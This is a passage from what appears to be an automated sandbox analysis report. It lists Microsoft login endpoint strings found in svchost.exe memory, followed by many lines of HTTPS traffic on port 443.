Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366016309.000001FE05157000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000007.00000003.1365638696.000001FE0512C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365732276.000001FE0515A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp8
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2594786655.000001FE05913000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf3
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365717275.000001FE05110000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1482434158.000001FE05840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srfLive
Source: svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecurneDesksrf
Source: svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srfce
Source: svchost.exe, 00000007.00000002.2589459618.000001FE048E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ
Source: svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.
Source: svchost.exe, 00000007.00000003.1365717275.000001FE05110000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
Source: svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-
Source: svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%
Source: svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000007.00000003.1365717275.000001FE05110000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfen
Source: svchost.exe, 00000007.00000003.1365717275.000001FE05110000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000007.00000003.1365717275.000001FE05110000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
Source: svchost.exe, 00000007.00000003.1365638696.000001FE0512C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05155000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
